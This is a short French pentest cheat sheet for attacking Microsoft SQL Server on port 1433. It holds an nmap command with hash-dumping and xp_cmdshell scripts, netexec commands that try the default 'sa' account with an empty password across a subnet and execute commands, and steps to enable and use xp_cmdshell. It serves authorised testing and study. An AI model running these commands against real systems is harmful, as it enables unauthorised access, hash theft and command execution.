1433 - SQL Server
Détection
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>Connexion
Test des identifiants par défaut :
# Connexion AD
nxc mssql 192.168.200.0/24 -u sa -p ''
# Connexion locale
nxc mssql 192.168.200.0/24 -u sa -p '' --local-auth
# Exécution de commande si disponible
nxc mssql 192.168.200.0/24 -u sa -p '' -x whoami L’outil mssqlclient.py permet aussi d’effectuer ce type de test :
# Authentification MSSQL
mssqlclient.py -db <DB_NAME> <USER>:<PASSWORD>@<IP>
# Authentification Windows
mssqlclient.py -db <DB_NAME> <USER>:<PASSWORD>@<IP> -windows-authXP_Cmdshell
Il est possible de simplifier l’exploitation de XP_Cmdshell à l’aide de l’outil mssqlclient.py :
enable_xp_cmdshell
xp_cmdshell $CMD